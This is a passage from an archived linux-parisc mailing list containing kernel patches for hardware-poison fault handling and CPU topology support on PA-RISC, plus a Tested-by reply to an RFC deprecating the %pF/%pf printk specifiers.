 RIG4F4/RW+1Zsf8qGtLKBQ1Ps3Tfx+slgnGMH1w/tGOj/wkeIUP9PHcK5ZTOSLPksW/Dx5DSH
 f1FFtArWoxWAyo5WSBn7MZl7YOubTfPvCzmER2dWcjupY2A84w+BXpj0ipLce5CE949pexAmx
 YbvMjOuDfdxaKhFBOG6q2g7amwkmZg6bdgGpBL3BnZuDatf2fsHBYigKsBr6tseK/rCaiWeH 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27850
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27850>

Commit 24587380f61d ("parisc: Add MADV_HWPOISON and MADV_SOFT_OFFLINE") added
the necessary constants to handle hardware-poisoning. Those were needed to
support the page deallocation feature from firmware.

But I completely missed to add the relevant fault handler code. This now
showed up when I ran the madvise07 testcase from the Linux Test Project,
which failed with a kernel BUG at arch/parisc/mm/fault.c:320.

With this patch the parisc kernel now behaves like other platforms and
gives the same kernel syslog warnings when poisoning pages.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 5b101f6..0d55e23 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -17,6 +17,7 @@
 #include <linux/interrupt.h>
 #include <linux/extable.h>
 #include <linux/uaccess.h>
+#include <linux/hugetlb.h>
 
 #include <asm/traps.h>
 
@@ -315,7 +316,8 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 			goto out_of_memory;
 		else if (fault & VM_FAULT_SIGSEGV)
 			goto bad_area;
-		else if (fault & VM_FAULT_SIGBUS)
+		else if (fault & (VM_FAULT_SIGBUS|VM_FAULT_HWPOISON|
+				  VM_FAULT_HWPOISON_LARGE))
 			goto bad_area;
 		BUG();
 	}
@@ -352,8 +354,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 
 	if (user_mode(regs)) {
 		struct siginfo si;
-
-		show_signal_msg(regs, code, address, tsk, vma);
+		unsigned int lsb = 0;
 
 		switch (code) {
 		case 15:	/* Data TLB miss fault/Data page fault */
@@ -386,6 +387,30 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 			si.si_code = (code == 26) ? SEGV_ACCERR : SEGV_MAPERR;
 			break;
 		}
+
+#ifdef CONFIG_MEMORY_FAILURE
+		if (fault & (VM_FAULT_HWPOISON|VM_FAULT_HWPOISON_LARGE)) {
+			printk(KERN_ERR
+	"MCE: Killing %s:%d due to hardware memory corruption fault at %08lx\n",
+			tsk->comm, tsk->pid, address);
+			si.si_signo = SIGBUS;
+			si.si_code = BUS_MCEERR_AR;
+		}
+#endif
+
+		/*
+		 * Either small page or large page may be poisoned.
+		 * In other words, VM_FAULT_HWPOISON_LARGE and
+		 * VM_FAULT_HWPOISON are mutually exclusive.
+		 */
+		if (fault & VM_FAULT_HWPOISON_LARGE)
+			lsb = hstate_index_to_shift(VM_FAULT_GET_HINDEX(fault));
+		else if (fault & VM_FAULT_HWPOISON)
+			lsb = PAGE_SHIFT;
+		else
+			show_signal_msg(regs, code, address, tsk, vma);
+		si.si_addr_lsb = lsb;
+
 		si.si_errno = 0;
 		si.si_addr = (void __user *) address;
 		force_sig_info(si.si_signo, &si, current);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Add CPU topology support
Date: Thu, 21 Sep 2017 21:55:01 +0200
Lines: 344
Approved: news@gmane.org
Message-ID: <20170921195501.GA15626@p100.box>
References: <20170920192018.GA14837@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506023710 16850 195.159.176.226 (21 Sep 2017 19:55:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 19:55:10 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 21 21:55:05 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dv7Yu-0008GT-9u
	for glpp-linux-parisc@m.gmane.org; Thu, 21 Sep 2017 21:55:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751821AbdIUTzM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 21 Sep 2017 15:55:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49860 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751697AbdIUTzK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 21 Sep 2017 15:55:10 -0400
Original-Received: from p100.box ([91.36.202.100]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MDm4o-1e9z8g3U7i-00HBO7; Thu, 21
 Sep 2017 21:55:04 +0200
Content-Disposition: inline
In-Reply-To: <20170920192018.GA14837@p100.box>
X-Provags-ID: V03:K0:BFZAYsEs/ir5jlby/FaxnWKy5WJH6QgRbNanB1wwh4bE+Ey2ZXv
 MTOWr48jCi/KrS9bTFYeTRc5RHVtNAsSs76TyUZlQNBdWLUlo0e8KkHbJTEoOfizyc4vK/r
 Vqgu+7Ha+39a8fdIvRxL13sVbIcehN0bFFobHeGqf5rPoliJQBl/JbjyopAzZCPrDOXvpSE
 TR90DbrqAJDkg/Bmajx2Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:v7tInKnracQ=:HlBIFnFygHook53pPks1DA
 ejtF0LY5xMipphhk1fRXiR4r4BWi2fqul6olmoq1dC2dHQqXclKkSJjcsOsFUW1owXZ7av3x3
 Ja5wa0Y2AdDANFxJORzcqVj63UFI8duB7tSuIJYPplSI7M8RjLMhppJ5SuRtXiclDXvs3hXfW
 84IRqlF3uhDDprYWNAGid+r6/LCHK7jVyAxeXWdLm4y1X5PHHl8eC2iJVc6NL+aXZCSVuaYnO
 1OKApmdIri1i2MoXqzxTiQ6flPRrV546t7g58IqAhjCBkgEtrukMF5mYTwnbqPvQ07dnD1fOI
 zHTI6M+jZCnOxOUNj7OneKGZxUEfOsF4cM4mthPWfpwd/sshJ7AZ9qmLwsghqqAYZYTNcODv8
 kYUmzgcBN4Va2a3SIdjES/UdLtGug4IFJJNVAhtQYnZY/Iphou1X3ye2QmEJHZ51A5YXWakfk
 Q0l3Y8e+PVM39O9jygp5pey1z4nY2G0kmTAzOX248Rqjy55M4DBdmcPCTwdQL4u5tZYXgWhTf
 +Gn/xHpE8+BaS7TbA32Xw6+wKsIeACLA9YkX64YmstWhN7yZ1SPfjnC0Citpvu2vWycNqBNft
 LUk2qAUpiY67PP/zhcSaFv/SaxWhxSqJlksPbQ+muBwgUe0hLlbPWzRPR+a408udOOBD2AtKW
 S6CqPKIXk/iXVGMPqjsqNuN5yaghA1yoKezvXBeVNL/o6fWyA99GZhBfrLQKYSjp54dnmhDPh
 p907z4pEhvVIPIOg4VbWj0E1KARL5C/Vtb10+8e1evNPO+LMPv5uQ+xLz+EsKk5Yk2/BxB43 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27851>

>From b845fcfb49d60e8cc11e240a0e01911115bdc434 Mon Sep 17 00:00:00 2001
From: Helge Deller <deller@gmx.de>
Date: Wed, 20 Sep 2017 21:20:18 +0200
Subject: [PATCH v2] parisc: Add CPU topology support

Add topology support, including multi-core scheduler support on
PA8800/PA8900 CPUs and enhanced output in /proc/cpuinfo, e.g.
lscpu now reports on a single-socket, dual-core machine:

Architecture:          parisc64
CPU(s):                2
On-line CPU(s) list:   0,1
Thread(s) per core:    1
Core(s) per socket:    2
Socket(s):             1
CPU family:            PA-RISC 2.0
Model name:            PA8800 (Mako)

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ba7b7dd..bb8ed34 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -31,6 +31,7 @@ config PARISC
 	select GENERIC_PCI_IOMAP
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
+	select GENERIC_CPU_DEVICES
 	select GENERIC_STRNCPY_FROM_USER
 	select SYSCTL_ARCH_UNALIGN_ALLOW
 	select SYSCTL_EXCEPTION_TRACE
@@ -275,6 +276,21 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config PARISC_CPU_TOPOLOGY
+	bool "Support cpu topology definition"
+	depends on SMP
+	default y
+	help
+	  Support PARISC cpu topology definition.
+
+config SCHED_MC
+	bool "Multi-core scheduler support"
+	depends on PARISC_CPU_TOPOLOGY && PA8X00
+	help
+	  Multi-core scheduler support improves the CPU scheduler's decision
+	  making when dealing with multi-core CPU chips at a cost of slightly
+	  increased overhead in some places. If unsure say N here.
+
 config IRQSTACKS
 	bool "Use separate kernel stacks when processing interrupts"
 	default y
diff --git a/arch/parisc/include/asm/topology.h b/arch/parisc/include/asm/topology.h
new file mode 100644
index 0000000..6f0750c
--- /dev/null
+++ b/arch/parisc/include/asm/topology.h
@@ -0,0 +1,36 @@
+#ifndef _ASM_PARISC_TOPOLOGY_H
+#define _ASM_PARISC_TOPOLOGY_H
+
+#ifdef CONFIG_PARISC_CPU_TOPOLOGY
+
+#include <linux/cpumask.h>
+
+struct cputopo_parisc {
+	int thread_id;
+	int core_id;
+	int socket_id;
+	cpumask_t thread_sibling;
+	cpumask_t core_sibling;
+};
+
+extern struct cputopo_parisc cpu_topology[NR_CPUS];
+
+#define topology_physical_package_id(cpu)	(cpu_topology[cpu].socket_id)
+#define topology_core_id(cpu)		(cpu_topology[cpu].core_id)
+#define topology_core_cpumask(cpu)	(&cpu_topology[cpu].core_sibling)
+#define topology_sibling_cpumask(cpu)	(&cpu_topology[cpu].thread_sibling)
+
+void init_cpu_topology(void);
+void store_cpu_topology(unsigned int cpuid);
+const struct cpumask *cpu_coregroup_mask(int cpu);
+
+#else
+
+static inline void init_cpu_topology(void) { }
+static inline void store_cpu_topology(unsigned int cpuid) { }
+
+#endif
+
+#include <asm-generic/topology.h>
+
+#endif /* _ASM_ARM_TOPOLOGY_H */
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index c4294df..10b1b04 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -8,8 +8,7 @@ obj-y	     	:= cache.o pacache.o setup.o pdt.o traps.o time.o irq.o \
 		   pa7300lc.o syscall.o entry.o sys_parisc.o firmware.o \
 		   ptrace.o hardware.o inventory.o drivers.o \
 		   signal.o hpmc.o real2.o parisc_ksyms.o unaligned.o \
-		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o \
-		   topology.o
+		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o
 
 ifdef CONFIG_FUNCTION_TRACER
 # Do not profile debug and lowlevel utilities
@@ -29,5 +28,6 @@ obj-$(CONFIG_AUDIT)	+= audit.o
 obj64-$(CONFIG_AUDIT)	+= compat_audit.o
 # only supported for PCX-W/U in 64-bit mode at the moment
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o $(obj64-y)
+obj-$(CONFIG_PARISC_CPU_TOPOLOGY)	+= topology.o
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index a778bd3..ad73100 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -184,6 +184,9 @@ static int __init processor_probe(struct parisc_device *dev)
 	p->txn_addr = txn_addr;	/* save CPU IRQ address */
 	p->cpu_num = cpu_info.cpu_num;
 	p->cpu_loc = cpu_info.cpu_loc;
+
+	store_cpu_topology(cpuid);
+
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
@@ -325,6 +328,8 @@ int init_per_cpu(int cpunum)
 	set_firmware_width();
 	ret = pdc_coproc_cfg(&coproc_cfg);
 
+	store_cpu_topology(cpunum);
+
 	if(ret >= 0 && coproc_cfg.ccr_functional) {
 		mtctl(coproc_cfg.ccr_functional, 10);  /* 10 == Coprocessor Control Reg */
 
@@ -388,6 +393,14 @@ show_cpuinfo (struct seq_file *m, void *v)
 				 boot_cpu_data.cpu_hz / 1000000,
 				 boot_cpu_data.cpu_hz % 1000000  );
 
+#ifdef CONFIG_PARISC_CPU_TOPOLOGY
+		seq_printf(m, "physical id\t: %d\n",
+				topology_physical_package_id(cpu));
+		seq_printf(m, "siblings\t: %d\n",
+				cpumask_weight(topology_core_cpumask(cpu)));
+		seq_printf(m, "core id\t\t: %d\n", topology_core_id(cpu));
+#endif
+
 		seq_printf(m, "capabilities\t:");
 		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS32)
 			seq_puts(m, " os32");
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index a31e91c..fd751b9 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -408,6 +408,8 @@ void __init start_parisc(void)
 
 	cpunum = smp_processor_id();
 
+	init_cpu_topology();
+
 	set_firmware_width_unlocked();
 
 	ret = pdc_coproc_cfg_unlocked(&coproc_cfg);
diff --git a/arch/parisc/kernel/topology.c b/arch/parisc/kernel/topology.c
index f515938..0a10e4d 100644
--- a/arch/parisc/kernel/topology.c
+++ b/arch/parisc/kernel/topology.c
@@ -1,37 +1,142 @@
 /*
- * arch/parisc/kernel/topology.c - Populate sysfs with topology information
+ * arch/parisc/kernel/topology.c
  *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
+ * Copyright (C) 2017 Helge Deller <deller@gmx.de>
  *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
- * NON INFRINGEMENT.  See the GNU General Public License for more
- * details.
+ * based on arch/arm/kernel/topology.c
  *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
  */
 
-#include <linux/init.h>
-#include <linux/smp.h>
-#include <linux/cpu.h>
-#include <linux/cache.h>
+#include <linux/percpu.h>
+#include <linux/sched.h>
+#include <linux/sched/topology.h>
 
-static DEFINE_PER_CPU(struct cpu, cpu_devices);
+#include <asm/topology.h>
 
-static int __init topology_init(void)
+ /*
+  * cpu topology table
+  */
+struct cputopo_parisc cpu_topology[NR_CPUS] __read_mostly;
+EXPORT_SYMBOL_GPL(cpu_topology);
+
+const struct cpumask *cpu_coregroup_mask(int cpu)
 {
-	int num;
+	return &cpu_topology[cpu].core_sibling;
+}
+
+static void update_siblings_masks(unsigned int cpuid)
+{
+	struct cputopo_parisc *cpu_topo, *cpuid_topo = &cpu_topology[cpuid];
+	int cpu;
+
+	/* update core and thread sibling masks */
+	for_each_possible_cpu(cpu) {
+		cpu_topo = &cpu_topology[cpu];
+
+		if (cpuid_topo->socket_id != cpu_topo->socket_id)
+			continue;
+
+		cpumask_set_cpu(cpuid, &cpu_topo->core_sibling);
+		if (cpu != cpuid)
+			cpumask_set_cpu(cpu, &cpuid_topo->core_sibling);
+
+		if (cpuid_topo->core_id != cpu_topo->core_id)
+			continue;
+
+		cpumask_set_cpu(cpuid, &cpu_topo->thread_sibling);
+		if (cpu != cpuid)
+			cpumask_set_cpu(cpu, &cpuid_topo->thread_sibling);
+	}
+	smp_wmb();
+}
+
+static int dualcores_found __initdata;
+
+/*
+ * store_cpu_topology is called at boot when only one cpu is running
+ * and with the mutex cpu_hotplug.lock locked, when several cpus have booted,
+ * which prevents simultaneous write access to cpu_topology array
+ */
+void __init store_cpu_topology(unsigned int cpuid)
+{
+	struct cputopo_parisc *cpuid_topo = &cpu_topology[cpuid];
+	struct cpuinfo_parisc *p;
+	int max_socket = -1;
+	unsigned long cpu;
+
+	/* If the cpu topology has been already set, just return */
+	if (cpuid_topo->core_id != -1)
+		return;
 
-	for_each_present_cpu(num) {
-		register_cpu(&per_cpu(cpu_devices, num), num);
+	/* create cpu topology mapping */
+	cpuid_topo->thread_id = -1;
+	cpuid_topo->core_id = 0;
+
+	p = &per_cpu(cpu_data, cpuid);
+	for_each_online_cpu(cpu) {
+		const struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
+
+		if (cpu == cpuid) /* ignore current cpu */
+			continue;
+
+		if (cpuinfo->cpu_loc == p->cpu_loc) {
+			cpuid_topo->core_id = cpu_topology[cpu].core_id;
+			if (p->cpu_loc) {
+				cpuid_topo->core_id++;
+				cpuid_topo->socket_id = cpu_topology[cpu].socket_id;
+				dualcores_found = 1;
+				continue;
+			}
+		}
+
+		if (cpuid_topo->socket_id == -1)
+			max_socket = max(max_socket, cpu_topology[cpu].socket_id);
 	}
-	return 0;
+
+	if (cpuid_topo->socket_id == -1)
+		cpuid_topo->socket_id = max_socket + 1;
+
+	update_siblings_masks(cpuid);
+
+	pr_info("CPU%u: thread %d, cpu %d, socket %d\n",
+		cpuid, cpu_topology[cpuid].thread_id,
+		cpu_topology[cpuid].core_id,
+		cpu_topology[cpuid].socket_id);
 }
 
-subsys_initcall(topology_init);
+static struct sched_domain_topology_level parisc_mc_topology[] = {
+#ifdef CONFIG_SCHED_MC
+	{ cpu_coregroup_mask, cpu_core_flags, SD_INIT_NAME(MC) },
+#endif
+
+	{ cpu_cpu_mask, SD_INIT_NAME(DIE) },
+	{ NULL, },
+};
+
+/*
+ * init_cpu_topology is called at boot when only one cpu is running
+ * which prevent simultaneous write access to cpu_topology array
+ */
+void __init init_cpu_topology(void)
+{
+	unsigned int cpu;
+
+	/* init core mask and capacity */
+	for_each_possible_cpu(cpu) {
+		struct cputopo_parisc *cpu_topo = &(cpu_topology[cpu]);
+
+		cpu_topo->thread_id = -1;
+		cpu_topo->core_id =  -1;
+		cpu_topo->socket_id = -1;
+		cpumask_clear(&cpu_topo->core_sibling);
+		cpumask_clear(&cpu_topo->thread_sibling);
+	}
+	smp_wmb();
+
+	/* Set scheduler topology descriptor */
+	if (dualcores_found)
+		set_sched_topology(parisc_mc_topology);
+}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Santosh Sivaraj <santosh@fossix.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Fri, 22 Sep 2017 11:04:04 +0530
Lines: 144
Approved: news@gmane.org
Message-ID: <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
        protocol="application/pgp-signature"; boundary="3gqke7d3an37ypbd"
X-Trace: blaine.gmane.org 1506058449 13825 195.159.176.226 (22 Sep 2017 05:34:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 22 Sep 2017 05:34:09 +0000 (UTC)
User-Agent: NeoMutt/20170914 (1.9.0)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 22 07:34:03 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dvGbC-0002xL-B8
	for glpp-linux-parisc@m.gmane.org; Fri, 22 Sep 2017 07:34:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751819AbdIVFeJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 22 Sep 2017 01:34:09 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:36367 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751801AbdIVFeI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 22 Sep 2017 01:34:08 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id f84so54235pfj.3
        for <linux-parisc@vger.kernel.org>; Thu, 21 Sep 2017 22:34:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=fossix-org.20150623.gappssmtp.com; s=20150623;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=r+K99hLqmIj08DIavqCkTQWHTIE4A6IEwc9omSm9rRE=;
        b=JbhNdtsaRHMiIyQdSExleVGj70P3MQi38knKlKLxol46rc52hnVZldoyg19moUDw1F
         Je3dz2TBlHW5ZfS4MqESmglMJFNK7Q3HIvvqChcyVFPz0f7dvZTh8YTZTBskU4ePX2nn
         eHuGjMGM4q1IIzKv/KJd/mV711/FktLu3MJfhByL+0Y/8IK2vvp/R9g64uDYhbmvez4k
         1SEIfe9+L9pxYrhwtzWFwQVNA7W8VtdWvUTluxR/+H+wCto+nH5Uq0ZDW7tXUFdTSRFq
         aK8SkItVT2ck4hHaJj5X+QB/CWlxbPTOXxyfJsieZdTtgsI8QaMwako+6R1JrfP78oeE
         0KXg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=r+K99hLqmIj08DIavqCkTQWHTIE4A6IEwc9omSm9rRE=;
        b=YR7n2f8Sb0FPUmjQk88aWfcAbA2LtLW9jyUPzdQZKqCEzFidLDxZ4bxO+ecQfI1AOh
         3Ehtma1TDXzuOIxKtQJTchEA5e+0MjjGI/sJ8V2AfTZ/1iITIh77YaBERB0HWr8lP1NN
         6I9B0o5gfrvyQ74ONL3VQ3nU64C9SoA5z9K4S4uKiL8qBkG2+fyHR6yvU+Yb0UxX22gQ
         owN84F70M5ijyC6kagGCF+b43+pgyFQ7W9SYdcyl7ChA8SIQ8ronfPKLmyYZkPIga/Q7
         RcnD3JqVVRGpGhgYPz3P8F65lX84GBqT4sepYfqJ2xsaDZey3J1l9Rl3hVPjzRdkYkd2
         HCrA==
X-Gm-Message-State: AHPjjUhSW+sAIUNqY8q1H6DQf8EpjSbRE5p8gdDAWSmn1vLqeo2m5thT
        wnO1GhyeROYYJq4syiR0GU9aQg==
X-Google-Smtp-Source: AOwi7QCtAaXGeONxtmwjGtHJEVuaDinmW5i+DqgIMc+x1yctof2HLm8nkRh9okvMdq/1ykxnskK4Vw==
X-Received: by 10.84.129.193 with SMTP id b59mr8076854plb.200.1506058447492;
        Thu, 21 Sep 2017 22:34:07 -0700 (PDT)
Original-Received: from localhost ([125.16.167.56])
        by smtp.gmail.com with ESMTPSA id g68sm4867252pfc.64.2017.09.21.22.34.06
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 21 Sep 2017 22:34:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27852 gmane.linux.ports.ia64:28150 gmane.linux.ports.ppc64.devel:148222 gmane.linux.kernel:2575514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27852>


--3gqke7d3an37ypbd
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

* Sergey Senozhatsky <sergey.senozhatsky@gmail.com> wrote (on 2017-09-20 16=
:29:02 +0000):

>         Hello
>=20
>         RFC
>=20
>         On some arches C function pointers are indirect and point to
> a function descriptor, which contains the actual pointer to the code.
> This mostly doesn't matter, except for cases when people want to print
> out function pointers in symbolic format, because the usual '%pS/%ps'
> does not work on those arches as expected. That's the reason why we
> have '%pF/%pf', but since it's here because of a subtle ABI detail
> specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
> '%pF/%pf' and '%pS/%ps' (see [1], for example).
>=20
>         This patch set attempts to move ia64/ppc64/parisc64 C function
> pointer ABI details out of printk() to arch code. Function dereference
> code now checks if a pointer belongs to a .opd ELF section and dereferenc=
es
> that pointer only if it does. The kernel and modules have their own .opd
> sections that's why I use two different ARCH functions: for kernel and
> for module pointer dereference.
>=20
>         I planned to remove dereference_function_descriptor() entirely,
> but then I discovered a bunch other uses cases (kgdbts, init/main.c,
> extable, etc.), so I decided to keep dereference_function_descriptor()
> around because the main point of this patch set is to deprecate %pF/%pf.
> But at the same time, I think I can go further and handle both kernel
> and module descriptor dereference in dereference_function_descriptor().
> We need a module pointer for module .opd check, so that will come at an
> extra cost of module lookup (may be there will some other issues along
> the way, haven't checked it).
>=20
> Right now we've got:
>=20
> - dereference_function_descriptor(addr)
>         a generic (old) function. it simply attempts to dereference
>         whatever pointer we give it.
>=20
> - dereference_kernel_function_descriptor(addr)
>         dereferences a kernel pointer if it's within the kernel's .opd
>         section.
>=20
> - dereference_module_function_descriptor(module, addr)
>         dereference a module pointer if it's within the module's .opd
>         section.
>=20
>=20
> *** A BIG NOTE ***
>         I don't own ia64/ppc64/parisc64 hardware, so the patches are not
>         tested. Sorry about that!

Tested patch series on ppc64 sucessfully.

You may add tested by to the series.

Tested-by: Santosh Sivaraj <santosh@fossix.org>

Thanks,
Santosh

>=20
> Another note:
>         I need to check what is BPF symbol lookup and do we need to
>         do any dereference there.
>=20
> v2:
> -- convert dereference_function_descriptor() to unsigned long
> -- fix kernel descriptor range checks (Helge)
> -- fix parisc module descriptor range check (Helge)
> -- fix ppc64 module range check
> -- add checkpatch patch
>=20
>=20
> Sergey Senozhatsky (7):
>   switch dereference_function_descriptor() to `unsigned long'
>   sections: split dereference_function_descriptor()
>   ia64: Add .opd based function descriptor dereference
>   powerpc64: Add .opd based function descriptor dereference
>   parisc64: Add .opd based function descriptor dereference
>   symbol lookup: use new kernel and module dereference functions
>   checkpatch: add pF/pf deprecation warning
>=20
>  Documentation/printk-formats.txt          | 15 +++++----------
>  arch/ia64/include/asm/sections.h          | 16 ++++++++++++----
>  arch/ia64/kernel/module.c                 | 13 +++++++++++++
>  arch/ia64/kernel/vmlinux.lds.S            |  2 ++
>  arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
>  arch/parisc/include/asm/sections.h        |  4 +++-
>  arch/parisc/kernel/module.c               | 17 +++++++++++++++++
>  arch/parisc/kernel/process.c              | 15 ++++++++++++---
>  arch/parisc/kernel/vmlinux.lds.S          |  2 ++
>  arch/parisc/mm/init.c                     |  4 ++--
>  arch/powerpc/include/asm/module.h         |  3 +++
>  arch/powerpc/include/asm/sections.h       | 17 ++++++++++++++---
>  arch/powerpc/kernel/module_64.c           | 16 ++++++++++++++++
>  arch/powerpc/kernel/vmlinux.lds.S         |  2 ++
>  drivers/misc/kgdbts.c                     |  2 +-
>  include/asm-generic/sections.h            |  8 ++++++--
